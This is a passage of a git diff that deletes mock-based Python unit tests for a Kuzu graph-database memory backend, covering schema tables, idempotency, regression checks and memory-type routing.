test_initialize_creates_codefile_node_table(self, mock_kuzu): - """Test that CodeFile node table is created with correct schema.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - # Check that CodeFile table creation was attempted - calls = [str(call) for call in mock_conn.execute.call_args_list] - assert any("CodeFile" in str(call) for call in calls), "CodeFile node table not created" - - # Verify key properties exist in schema - codefile_calls = [c for c in calls if "CodeFile" in str(c)] - assert any("file_id" in str(c) for c in codefile_calls), ( - "CodeFile missing file_id primary key" - ) - assert any("file_path" in str(c) for c in codefile_calls), ( - "CodeFile missing file_path property" - ) - assert any("language" in str(c) for c in codefile_calls), ( - "CodeFile missing language property" - ) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_initialize_creates_class_node_table(self, mock_kuzu): - """Test that Class node table is created with correct schema.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - calls = [str(call) for call in mock_conn.execute.call_args_list] - assert any("Class" in str(call) and "NODE TABLE" in str(call) for call in calls), ( - "Class node table not created" - ) - - # Verify key properties - class_calls = [c for c in calls if "Class" in str(c)] - assert any("class_id" in str(c) for c in class_calls), ( - "Class missing class_id primary key" - ) - assert any("class_name" in str(c) for c in class_calls), ( - "Class missing class_name property" - ) - assert any("fully_qualified_name" in str(c) for c in class_calls), ( - "Class missing fully_qualified_name property" - ) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_initialize_creates_function_node_table(self, mock_kuzu): - """Test that Function node table is created with correct schema.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - calls = [str(call) for call in mock_conn.execute.call_args_list] - assert any("Function" in str(call) and "NODE TABLE" in str(call) for call in calls), ( - "Function node table not created" - ) - - # Verify key properties - func_calls = [c for c in calls if "Function" in str(c)] - assert any("function_id" in str(c) for c in func_calls), ( - "Function missing function_id primary key" - ) - assert any("function_name" in str(c) for c in func_calls), ( - "Function missing function_name property" - ) - assert any("is_async" in str(c) for c in func_calls), ( - "Function missing is_async property" - ) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_initialize_creates_all_7_code_relationships(self, mock_kuzu): - """Test that all 7 code relationship types are created.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - calls = [str(call) for call in mock_conn.execute.call_args_list] - expected_relationships = [ - "DEFINED_IN", - "METHOD_OF", - "CALLS", - "INHERITS", - "IMPORTS", - "REFERENCES", - "CONTAINS", - ] - - for rel_type in expected_relationships: - assert any(rel_type in str(call) for call in calls), ( - f"{rel_type} code relationship not created" - ) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_initialize_creates_all_10_memory_code_links(self, mock_kuzu): - """Test that all 10 memory-code link relationship types are created.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - calls = [str(call) for call in mock_conn.execute.call_args_list] - - # 5 memory types x 2 targets (file + function) = 10 relationships - expected_links = [ - "RELATES_TO_FILE_EPISODIC", - "RELATES_TO_FILE_SEMANTIC", - "RELATES_TO_FILE_PROCEDURAL", - "RELATES_TO_FILE_PROSPECTIVE", - "RELATES_TO_FILE_WORKING", - "RELATES_TO_FUNCTION_EPISODIC", - "RELATES_TO_FUNCTION_SEMANTIC", - "RELATES_TO_FUNCTION_PROCEDURAL", - "RELATES_TO_FUNCTION_PROSPECTIVE", - "RELATES_TO_FUNCTION_WORKING", - ] - - for link_type in expected_links: - assert any(link_type in str(call) for call in calls), ( - f"{link_type} memory-code link not created" - ) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_initialize_creates_all_20_tables(self, mock_kuzu): - """Test that exactly 20 new tables are created (3 nodes + 7 rels + 10 links).""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - calls = [str(call) for call in mock_conn.execute.call_args_list] - - # Count code schema tables - code_tables = [ - "CodeFile", - "Class", - "Function", # 3 node types - "DEFINED_IN", - "METHOD_OF", - "CALLS", - "INHERITS", - "IMPORTS", - "REFERENCES", - "CONTAINS", # 7 rels - "RELATES_TO_FILE_EPISODIC", - "RELATES_TO_FILE_SEMANTIC", - "RELATES_TO_FILE_PROCEDURAL", - "RELATES_TO_FILE_PROSPECTIVE", - "RELATES_TO_FILE_WORKING", - "RELATES_TO_FUNCTION_EPISODIC", - "RELATES_TO_FUNCTION_SEMANTIC", - "RELATES_TO_FUNCTION_PROCEDURAL", - "RELATES_TO_FUNCTION_PROSPECTIVE", - "RELATES_TO_FUNCTION_WORKING", # 10 links - ] - - found_tables = [ - table for table in code_tables if any(table in str(call) for call in calls) - ] - assert len(found_tables) == 20, ( - f"Expected 20 code schema tables, found {len(found_tables)}: {found_tables}" - ) - - -class TestKuzuCodeSchemaIdempotency: - """Test that initialize() can be called multiple times without errors.""" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_initialize_twice_succeeds(self, mock_kuzu): - """Test calling initialize() twice doesn't raise errors.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - - # First initialization - backend.initialize() - first_call_count = mock_conn.execute.call_count - - # Second initialization - should succeed - backend.initialize() - second_call_count = mock_conn.execute.call_count - - # Both should execute SQL, demonstrating idempotency - assert first_call_count > 0, "First initialize() made no SQL calls" - assert second_call_count > first_call_count, "Second initialize() made no SQL calls" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_initialize_uses_if_not_exists(self, mock_kuzu): - """Test that all CREATE statements use IF NOT EXISTS for idempotency.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - calls = [str(call) for call in mock_conn.execute.call_args_list] - - # All code schema CREATE statements should have IF NOT EXISTS - code_create_calls = [ - c - for c in calls - if "CREATE" in str(c) - and any( - table in str(c) - for table in [ - "CodeFile", - "Class", - "Function", - "DEFINED_IN", - "METHOD_OF", - "CALLS", - "INHERITS", - "IMPORTS", - "REFERENCES", - "CONTAINS", - "RELATES_TO_FILE", - "RELATES_TO_FUNCTION", - ] - ) - ] - - for call in code_create_calls: - assert "IF NOT EXISTS" in str(call), ( - f"CREATE statement missing IF NOT EXISTS: {call}" - ) - - -class TestKuzuCodeSchemaTableStructure: - """Test that code schema tables have required properties.""" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_codefile_has_all_required_properties(self, mock_kuzu): - """Test CodeFile node has all required properties from schema.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - calls = [str(call) for call in mock_conn.execute.call_args_list] - codefile_calls = [c for c in calls if "CodeFile" in str(c)] - - required_properties = [ - "file_id", - "file_path", - "language", - "size_bytes", - "line_count", - "last_modified", - "git_hash", - "module_name", - "is_test", - "metadata", - ] - - for prop in required_properties: - assert any(prop in str(c) for c in codefile_calls), ( - f"CodeFile missing required property: {prop}" - ) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_class_has_all_required_properties(self, mock_kuzu): - """Test Class node has all required properties from schema.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - calls = [str(call) for call in mock_conn.execute.call_args_list] - class_calls = [c for c in calls if "Class" in str(c) and "NODE TABLE" in str(c)] - - required_properties = [ - "class_id", - "class_name", - "fully_qualified_name", - "line_start", - "line_end", - "docstring", - "is_abstract", - "is_interface", - "access_modifier", - "decorators", - "metadata", - ] - - for prop in required_properties: - assert any(prop in str(c) for c in class_calls), ( - f"Class missing required property: {prop}" - ) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_function_has_all_required_properties(self, mock_kuzu): - """Test Function node has all required properties from schema.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - calls = [str(call) for call in mock_conn.execute.call_args_list] - func_calls = [c for c in calls if "Function" in str(c) and "NODE TABLE" in str(c)] - - required_properties = [ - "function_id", - "function_name", - "fully_qualified_name", - "line_start", - "line_end", - "docstring", - "signature", - "return_type", - "is_async", - "is_method", - "is_static", - "access_modifier", - "decorators", - "complexity_score", - "metadata", - ] - - for prop in required_properties: - assert any(prop in str(c) for c in func_calls), ( - f"Function missing required property: {prop}" - ) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_memory_code_links_have_relevance_score(self, mock_kuzu): - """Test that memory-code link relationships have relevance_score property.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - calls = [str(call) for call in mock_conn.execute.call_args_list] - link_calls = [c for c in calls if "RELATES_TO" in str(c)] - - # All memory-code links should have relevance_score and context - for call in link_calls: - assert "relevance_score" in str(call), ( - f"Memory-code link missing relevance_score: {call}" - ) - assert "context" in str(call), f"Memory-code link missing context: {call}" - - -class TestKuzuCodeSchemaRegression: - """Test that existing memory schema functionality still works.""" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_existing_memory_nodes_still_created(self, mock_kuzu): - """Test that 5 memory node types are still created after adding code schema.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - calls = [str(call) for call in mock_conn.execute.call_args_list] - - # Verify existing memory node types still exist - memory_nodes = [ - "EpisodicMemory", - "SemanticMemory", - "ProceduralMemory", - "ProspectiveMemory", - "WorkingMemory", - ] - - for node_type in memory_nodes: - assert any(node_type in str(call) for call in calls), ( - f"Memory node type {node_type} not created - regression detected" - ) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_existing_memory_relationships_still_created(self, mock_kuzu): - """Test that 11 memory relationship types are still created.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - calls = [str(call) for call in mock_conn.execute.call_args_list] - - # Verify existing memory relationships still exist - memory_rels = [ - "CONTAINS_EPISODIC", - "CONTAINS_WORKING", - "CONTRIBUTES_TO_SEMANTIC", - "USES_PROCEDURE", - "CREATES_INTENTION", - "DERIVES_FROM", - "REFERENCES", - "TRIGGERS", - "ACTIVATES", - "RECALLS", - "BUILDS_ON", - ] - - for rel_type in memory_rels: - assert any(rel_type in str(call) for call in calls), ( - f"Memory relationship {rel_type} not created - regression detected" - ) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_store_memory_still_works(self, mock_kuzu): - """Test that storing memories still works after adding code schema.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - memory = MemoryEntry( - id="test-1", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.SEMANTIC, - title="Test Knowledge", - content="Code schema extension deployed", - metadata={}, - created_at=datetime.now(), - accessed_at=datetime.now(), - ) - - mock_conn.execute.reset_mock() - result = backend.store_memory(memory) - - # Should successfully store memory - assert result is True, "store_memory() failed after code schema addition" - - # Should create SemanticMemory node - calls = [str(call) for call in mock_conn.execute.call_args_list] - assert any("SemanticMemory" in str(call) for call in calls), ( - "SemanticMemory node not created - regression detected" - ) - - -class TestKuzuCodeSchemaQueryCatalog: - """Test that schema tables can be queried from Kuzu catalog.""" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_can_query_codefile_table_from_catalog(self, mock_kuzu): - """Test that CodeFile table exists in Kuzu catalog after initialization.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_result = Mock() - mock_result.has_next.return_value = True - mock_result.get_next.return_value = ["CodeFile"] - - mock_conn = Mock() - mock_conn.execute.return_value = mock_result - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - # Query catalog for CodeFile table - mock_conn.execute.reset_mock() - mock_conn.execute.return_value = mock_result - - # This query pattern is how we verify table existence - result = backend.connection.execute(""" - MATCH (n:CodeFile) RETURN COUNT(n) AS count LIMIT 1 - """) - - # Should be able to query without error - assert result is not None, "Cannot query CodeFile table from catalog" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_can_query_all_code_relationships(self, mock_kuzu): - """Test that all code relationships exist and can be queried.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_result = Mock() - mock_result.has_next.return_value = False - - mock_conn = Mock() - mock_conn.execute.return_value = mock_result - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - mock_conn.execute.reset_mock() - mock_conn.execute.return_value = mock_result - - # Test querying each relationship type - relationships = [ - ("Class", "DEFINED_IN", "CodeFile"), - ("Function", "DEFINED_IN", "CodeFile"), - ("Function", "METHOD_OF", "Class"), - ("Function", "CALLS", "Function"), - ("Class", "INHERITS", "Class"), - ("CodeFile", "IMPORTS", "CodeFile"), - ("Function", "REFERENCES", "Class"), - ("CodeFile", "CONTAINS", "CodeFile"), - ] - - for from_node, rel_type, to_node in relationships: - # Each relationship should be queryable - query = ( - f"MATCH (a:{from_node})-[r:{rel_type}]->(b:{to_node}) RETURN COUNT(r) AS count" - ) - result = backend.connection.execute(query) - assert result is not None, f"Cannot query {rel_type} relationship" - - -class TestKuzuCodeSchemaPerformance: - """Test schema initialization performance requirements.""" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_initialize_completes_in_reasonable_time(self, mock_kuzu): - """Test that initialize() with code schema completes quickly.""" - import time - - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - - start = time.time() - backend.initialize() - elapsed = time.time() - start - - # Should complete in <1s (mostly mock overhead, but tests contract) - assert elapsed < 2.0, ( - f"initialize() took {elapsed:.2f}s, should be <2s for mocked execution" - ) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_initialize_creates_correct_number_of_statements(self, mock_kuzu): - """Test that initialize() executes expected number of CREATE statements.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - calls = [str(call) for call in mock_conn.execute.call_args_list] - - # Count total CREATE statements for code schema - # Expected: 3 node types + 7 code rels + 10 memory-code links = 20 new statements - # Plus existing: 2 infrastructure nodes + 5 memory nodes + 11 memory rels = 18 existing - # Total: 38 CREATE statements minimum - create_calls = [c for c in calls if "CREATE" in str(c)] - - assert len(create_calls) >= 38, ( - f"Expected at least 38 CREATE statements, got {len(create_calls)}" - ) diff --git a/tests/memory/backends/test_kuzu_schema_redesign.py b/tests/memory/backends/test_kuzu_schema_redesign.py deleted file mode 100644 index 4ff1996f3..000000000 --- a/tests/memory/backends/test_kuzu_schema_redesign.py +++ /dev/null @@ -1,447 +0,0 @@ -"""Tests for Kùzu schema redesign with 5 separate node types. - -Tests the new schema with: -- 5 node types (EpisodicMemory, SemanticMemory, ProceduralMemory, ProspectiveMemory, WorkingMemory) -- 11 relationship types (CONTAINS_EPISODIC, CONTRIBUTES_TO_SEMANTIC, etc.) -- Session as first-class node -- Migration from old schema to new schema - -Philosophy: -- TDD approach: Write test, implement, make it pass -- Test behavior, not implementation -- Complete coverage of schema changes -""" - -import tempfile -from datetime import datetime -from unittest.mock import Mock, patch - -from src.amplihack.memory.models import MemoryEntry, MemoryQuery, MemoryType - - -class TestKuzuBackendNodeTypes: - """Test creation of 5 separate node types.""" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_initialize_creates_episodic_memory_table(self, mock_kuzu): - """Test that EpisodicMemory node table is created.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - # Check that EpisodicMemory table creation was attempted - calls = [str(call) for call in mock_conn.execute.call_args_list] - assert any("EpisodicMemory" in str(call) for call in calls) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_initialize_creates_semantic_memory_table(self, mock_kuzu): - """Test that SemanticMemory node table is created.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - calls = [str(call) for call in mock_conn.execute.call_args_list] - assert any("SemanticMemory" in str(call) for call in calls) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_initialize_creates_procedural_memory_table(self, mock_kuzu): - """Test that ProceduralMemory node table is created.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - calls = [str(call) for call in mock_conn.execute.call_args_list] - assert any("ProceduralMemory" in str(call) for call in calls) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_initialize_creates_prospective_memory_table(self, mock_kuzu): - """Test that ProspectiveMemory node table is created.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - calls = [str(call) for call in mock_conn.execute.call_args_list] - assert any("ProspectiveMemory" in str(call) for call in calls) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_initialize_creates_working_memory_table(self, mock_kuzu): - """Test that WorkingMemory node table is created.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - calls = [str(call) for call in mock_conn.execute.call_args_list] - assert any("WorkingMemory" in str(call) for call in calls) - - -class TestKuzuBackendRelationshipTypes: - """Test creation of 11 relationship types.""" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_initialize_creates_contains_episodic_relationship(self, mock_kuzu): - """Test that CONTAINS_EPISODIC relationship table is created.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - calls = [str(call) for call in mock_conn.execute.call_args_list] - assert any("CONTAINS_EPISODIC" in str(call) for call in calls) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_initialize_creates_all_11_relationships(self, mock_kuzu): - """Test that all 11 relationship types are created.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - calls = [str(call) for call in mock_conn.execute.call_args_list] - expected_relationships = [ - "CONTAINS_EPISODIC", - "CONTAINS_WORKING", - "CONTRIBUTES_TO_SEMANTIC", - "USES_PROCEDURE", - "CREATES_INTENTION", - "DERIVES_FROM", - "REFERENCES", - "TRIGGERS", - "ACTIVATES", - "RECALLS", - "BUILDS_ON", - ] - - for rel_type in expected_relationships: - assert any(rel_type in str(call) for call in calls), ( - f"{rel_type} not found in calls" - ) - - -class TestKuzuBackendStoreMemoryRouting: - """Test that store_memory routes to correct node type based on memory type.""" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_store_episodic_memory_creates_episodic_node(self, mock_kuzu): - """Test storing episodic memory creates EpisodicMemory node.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - memory = MemoryEntry( - id="test-1", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.EPISODIC, - title="Test Event", - content="Something happened", - metadata={}, - created_at=datetime.now(), - accessed_at=datetime.now(), - ) - - # Reset mock to clear initialization calls - mock_conn.execute.reset_mock() - - backend.store_memory(memory) - - # Check that EpisodicMemory node was created - calls = [str(call) for call in mock_conn.execute.call_args_list] - assert any("EpisodicMemory" in str(call) for call in calls) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_store_semantic_memory_creates_semantic_node(self, mock_kuzu): - """Test storing semantic memory creates SemanticMemory node.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - memory = MemoryEntry( - id="test-1", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.SEMANTIC, - title="Test Knowledge", - content="User prefers verbose output", - metadata={}, - created_at=datetime.now(), - accessed_at=datetime.now(), - ) - - mock_conn.execute.reset_mock() - backend.store_memory(memory) - - calls = [str(call) for call in mock_conn.execute.call_args_list] - assert any("SemanticMemory" in str(call) for call in calls) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_store_procedural_memory_creates_procedural_node(self, mock_kuzu): - """Test storing procedural memory creates ProceduralMemory node.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - memory = MemoryEntry( - id="test-1", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.PROCEDURAL, - title="Git Workflow", - content="How to create a PR", - metadata={}, - created_at=datetime.now(), - accessed_at=datetime.now(), - ) - - mock_conn.execute.reset_mock() - backend.store_memory(memory) - - calls = [str(call) for call in mock_conn.execute.call_args_list] - assert any("ProceduralMemory" in str(call) for call in calls) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_store_prospective_memory_creates_prospective_node(self, mock_kuzu): - """Test storing prospective memory creates ProspectiveMemory node.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - memory = MemoryEntry( - id="test-1", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.PROSPECTIVE, - title="Reminder", - content="Follow up on PR review", - metadata={}, - created_at=datetime.now(), - accessed_at=datetime.now(), - ) - - mock_conn.execute.reset_mock() - backend.store_memory(memory) - - calls = [str(call) for call in mock_conn.execute.call_args_list] - assert any("ProspectiveMemory" in str(call) for call in calls) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_store_working_memory_creates_working_node(self, mock_kuzu): - """Test storing working memory creates WorkingMemory node.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - memory = MemoryEntry( - id="test-1", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.WORKING, - title="Current Goal", - content="Implement Kùzu schema redesign", - metadata={}, - created_at=datetime.now(), - accessed_at=datetime.now(), - ) - - mock_conn.execute.reset_mock() - backend.store_memory(memory) - - calls = [str(call) for call in mock_conn.execute.call_args_list] - assert any("WorkingMemory" in str(call) for call in calls) - - -class TestKuzuBackendRetrieveMemoriesAcrossTypes: - """Test that retrieve_memories queries across all node types.""" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_retrieve_memories_queries_all_node_types(self, mock_kuzu): - """Test that retrieve_memories queries all 5 node types.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_result = Mock() - mock_result.has_next.return_value = False - - mock_conn = Mock() - mock_conn.execute.return_value = mock_result - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - mock_conn.execute.reset_mock() - - query = MemoryQuery(session_id="session-1") - backend.retrieve_memories(query) - - # Should query all node types or use UNION - calls = [str(call) for call in mock_conn.execute.call_args_list] - # Implementation can use UNION or multiple queries, just verify query was made - assert len(calls) > 0 - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_retrieve_memories_filters_by_memory_type(self, mock_kuzu): - """Test that retrieve_memories can filter by specific memory type.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_result = Mock() - mock_result.has_next.return_value = False - - mock_conn = Mock() - mock_conn.execute.return_value = mock_result - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - mock_conn.execute.reset_mock() - - # Query only episodic memories - query = MemoryQuery(memory_type=MemoryType.EPISODIC) - backend.retrieve_memories(query) - - calls = [str(call) for call in mock_conn.execute.call_args_list] - # Should only query EpisodicMemory when type is specified - assert any("EpisodicMemory" in str(call) for call in calls) - - assert True # Placeholder - - -class TestKuzuBackendSessionRelationships: - """Test that Session relationships are properly created.""" - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_store_episodic_creates_contains_relationship(self, mock_kuzu): - """Test that storing episodic memory creates 